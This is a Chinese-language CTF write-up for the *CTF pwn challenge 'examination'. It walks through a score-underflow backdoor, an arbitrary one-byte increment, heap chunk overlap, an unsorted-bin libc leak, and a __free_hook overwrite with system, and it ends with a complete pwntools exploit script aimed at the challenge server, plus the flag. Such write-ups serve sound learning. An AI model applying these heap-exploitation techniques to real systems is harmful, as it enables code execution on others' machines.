抽空参加个比赛,水平有限只作了一道题,但还是要记录一下,毕竟好多人还0解呢。学渣的逆袭。
英文写的是ret2shool 这个跟ret2XXX的没关系。
代码长了读程序就麻烦,慢慢读把函数功能整理如下(叫法随个人理解,英文看单词不认识):
- 教师菜单
- 增加学生:增加一个学生结构,管理块chunk :0x28含指向成绩单:stud{ptr_s,0,0,0,0} 成绩单chunk:0x18含学生评级,成绩,评价指针,评价长度 s{int idx,int score, ptr_prv,int x,int prv_size} ,评价chunk这个块大小可定义
- 给学生打分:按学生评级(1-9)给每个学生打分,打分规则为随机数%(评级*10),如果出去玩-10
- 给学生写评语:增加评语块可定义,如已存在则修改评语
- 叫家长开除:free所有块,清理指针
- 切换教师/学生身份
- 学生菜单
- 空
- 显示评价/后门函数:当学生超过89分(正常不可能,因为%90最大89)可以显示chunk地址并允许给任意地址加1
- 出去玩:出去玩标记^1
- 不详
- 切换教师/学生身份
- 切换学生编号
刚开始以为切换学生编号有前越界以为这里是出口,由于学生管理块->成绩单->评语这样找不到适当的指针,而且got全保护,所以方向不正确。
需要解决的问题:
- 只有评语块大小可定义,但小于0x400不能释放到unsort需要要修改
- calloc分配块,分配后清0
- 没有写溢出、UAF和未初始化变量
漏洞:回到显示评价这里,这里显然是个后门。他实现泄露地址和任意地址修改,但不可能有正常学生得到90分。
unsigned __int64 __fastcall student_m2_checkreview(int a1)
{
_BYTE *v1; // rax
char nptr[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( *(_DWORD *)(qword_5080[a1] + 28LL) == 1 )
{
puts("already gained the reward!");
}
else
{
if ( *(_DWORD *)(*(_QWORD *)qword_5080[a1] + 4LL) > 0x59u )// 90以上会泄露堆地址 学生级别为1时,学生设置贪玩标记,再回到教师界面打分,随机数会小于10再因贪玩减10分,形成负数,在checkreview时到这里泄露堆地址,可以指定一个位置加1
{
printf("Good Job! Here is your reward! %p\n", (const void *)qword_5080[a1]);
printf("add 1 to wherever you want! addr: ");
sub_13D5(0, nptr, 16);
v1 = (_BYTE *)atol(nptr);
++*v1;
*(_DWORD *)(qword_5080[a1] + 28LL) = 1;
}
if ( *(_QWORD *)(*(_QWORD *)qword_5080[a1] + 8LL) )
{
puts("here is the review:");
write(1, *(const void **)(*(_QWORD *)qword_5080[a1] + 8LL), *(int *)(*(_QWORD *)qword_5080[a1] + 16LL));
}
else
{
puts("no reviewing yet!");
}
}
return __readfsqword(0x28u) ^ v4;
}
但是怎么让分数超过89呢。这个教师评分模块有问题,当学生本来就是学渣再出去玩就会被打负分实现逆袭。
unsigned __int64 teacher_m2_score()
{
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("marking testing papers.....");
for ( i = 0; i < dword_503C; ++i )
{
if ( read(fd, buf, 8uLL) != 8 )
{
puts("read_error");
exit(-1);
}
buf[0] &= 0x7Fu;
v2 = buf[0] % (10 * **(_DWORD **)qword_5080[i]);// id=1 +24==1 -10 得负数
printf("score for the %dth student is %d\n", i, v2);
if ( *(_DWORD *)(qword_5080[i] + 24LL) == 1 )
{
puts("the student is lazy! b@d!");
v2 -= 10;
}
*(_DWORD *)(*(_QWORD *)qword_5080[i] + 4LL) = v2;
}
puts("finish");
return __readfsqword(0x28u) ^ v4;
}
出去玩问题很容易
int __fastcall student_m3pray(int a1)
{
puts("prayer...Good luck to you");
*(_DWORD *)(qword_5080[a1] + 24LL) ^= 1u;
return puts("finish");
}
那这个流程就基本清楚了:
- 教师身份登录
- 添加一个学生0,添加学生固定为学渣
- 写评价(构造一个指定尺寸的chunk 0x380,回头修改他实现unsort和重叠)
- 添加第2个学生1
- 给第2个学生写评语,将来第1个学生的评价扩大后覆盖到这里把unsort的main_arena指针挤到这,实现libc地址泄露,由于题目的libc版本是2.31对前后都有检查,所以学生0的评语块扩大后要正好能覆盖整个学生2,这里学生0的评语块头从0x391改为0x491时,学生1的评语块为0xa0
- 添加第3个学生用于分隔top_chunk
- 切换到学生
- 选择学生0
- 出去玩
- 切换回教师
- 给学生评分(出现负分,溢出)
- 切换回学生
- 选择学生0
- 看评语,这里执行后门显示堆地址,在这个地址0x49的偏移处加1(0x391的3改为4,大于0x430释放时可进入unsort,并连同学生1整个覆盖)
- 切换回教师
- 开除学生0
- 添加学生0(从unsort中切出0x30+0x20)
- 给学生2写评语0x388 这里由于分配块时用的都是calloc分清0,而这个块覆盖了学生1的管理块为成绩单,所以要恢复学生1的分部信息(指针)
- 切回学生
- 选择学生1
- 显示评语,得到main_arena指针得到libc,大功基本完成,由于这里泄露了指针得到libc,而学生1的评语指针又是可控的,可以通过这个指针实现任意地址写。按常规大路,选择写__free_hook为system实现getshell
- 切换回教师
- 修改学生2的评语(重写学生1结构,将指向评语的指针改为__free_hook,并同时预存一个/bin/sh\0
- 修改学生1的评语(在__free_hook写system)
- 开除学生2得到shell
思路完成代码就是小case了
from pwn import *
local = 0
if local == 1:
p = process('./examination')
libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('124.70.130.92', 60001)
libc_elf = ELF('./libc-2.31.so')
elf = ELF('./examination')
context.arch = 'amd64'
def select_role(i):
p.sendlineafter(b"role: <0.teacher/1.student>: ", str(i).encode())
menu = b"choice>> "
def t_add():
p.sendlineafter(menu, b'1')
p.sendlineafter(b"enter the number of questions: ", b'1')
def t_score():
p.sendlineafter(menu, b'2')
def t_comm_new(idx, size, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"which one? > ", str(idx).encode())
p.sendlineafter(b"please input the size of comment: ", str(size).encode())
p.sendafter(b"enter your comment:", msg)
def t_comm_old(idx, msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"which one? > ", str(idx).encode())
p.sendafter(b"enter your comment:", msg)
def t_free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"which student id to choose?", str(idx).encode())
def t_role(role):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"role: <0.teacher/1.student>: ", str(role).encode())
def s_backdoor(off):
p.sendlineafter(menu, b'2')
p.recvuntil(b'Good Job! Here is your reward! ')
base = int(p.recvline(), 16)
print('heap:', hex(base))
p.sendlineafter(b"add 1 to wherever you want! addr: ", str(base+off).encode().ljust(15, b' '))
return base
def s_show():
p.sendlineafter(menu, b'2')
def s_play():
p.sendlineafter(menu, b'3')
def s_id(idx):
p.sendlineafter(menu, b'6')
p.sendlineafter(b"input your id: ", str(idx).encode())
select_role(0) #teacher
t_add() #0
t_comm_new(0, 0x380, b'B'*8)
t_add() #1
t_comm_new(1, 0xa0, b'c')
t_add() #2
t_role(1) #to student
s_id(0)
s_play() #play = 1
t_role(0) #to teacher
t_score()
t_role(1) #to student
s_id(0)
base = s_backdoor(0x49)
t_role(0) #to teacher
t_free(0) #unsort 0x490 over #2
context.log_level = 'debug'
t_add()
t_comm_new(2, 0x388, b'\0'*0x338+ flat(0x31, base+0x410,0,0,0,0,0x21,1,base+0x430,0xa0)) #1
t_role(1) #to student
s_id(1)
s_show()
p.recvline()
libc_base = u64(p.recv(8)) -0x60 - 0x10 - libc_elf.sym['__malloc_hook']
print(hex(libc_base))
libc_elf.address = libc_base
t_role(0) #to teacher
t_comm_old(2, b'/bin/sh\0' + b'\0'*0x330+ flat(0x31, base+0x410,0,0,0,0,0x21,1,libc_elf.sym['__free_hook'],8)) #1
t_comm_old(1, p64(libc_elf.sym['system'])) #1
t_free(2)
p.interactive()
#*ctf{ret2sch00l_ret2examination_0nce_ag@1n!}